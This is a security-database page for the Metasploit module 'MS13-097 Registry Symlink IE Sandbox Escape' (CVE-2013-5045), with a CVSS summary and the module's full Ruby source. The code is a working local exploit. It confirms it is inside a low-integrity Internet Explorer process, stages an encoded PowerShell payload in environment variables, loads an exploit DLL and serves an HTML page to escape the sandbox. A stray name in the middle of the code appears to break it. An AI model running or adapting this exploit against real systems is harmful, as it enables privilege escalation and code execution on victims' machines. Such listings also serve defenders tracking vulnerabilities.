MS13-097 Registry Symlink IE Sandbox Escape

2014.06.27
Credit: Juan vazquez
Risk: High
Local: Yes
Remote: No
CWE: CWE-59


CVSS Base Score: 6.2/10
Impact Subscore: 10/10
Exploitability Subscore: 1.9/10
Exploit range: Local
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape', 'Description' => %q{ This module exploits a vulnerability in Internet Explorer Sandbox which allows to escape the Enhanced Protected Mode and execute code with Medium Integrity. The vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll component, which can be abused to force medium integrity IE to user influenced keys. By using registry symlinks it's possible force IE to add a policy entry in the registry and finally bypass Enhanced Protected Mode. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Vulnerability Discovery and original exploit code 'juan vazquez' # metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'IE 8 - 11', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Dec 10 2013", 'References' => [ ['CVE', '2013-5045'], ['MSB', 'MS13-097'], ['BID', '64115'], ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] ] )) register_options( [ OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) ]) end def exploit print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') if mod_handle['return'] == 0 fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") end Brandon Perry unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NotVulnerable, "Not running at Low Integrity") end begin Timeout.timeout(datastore['DELAY']) { super } rescue Timeout::Error end session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil) session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil) end def primer cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd) html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html" session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri) temp = get_env('TEMP') print_status("Loading Exploit Library...") session.core.load_library( 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"), 'TargetFilePath' => temp + "\\CVE-2013-5045.dll", 'UploadLibrary' => true, 'Extension' => false, 'SaveToDisk' => false ) end def on_request_uri(cli, request) if request.uri =~ /\.html$/ print_status("Sending window close html...") close_html = <<-eos <html> <body> <script> window.open('', '_self', ''); window.close(); </script> </body> </html> eos send_response(cli, close_html, { 'Content-Type' => 'text/html' }) else send_not_found(cli) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top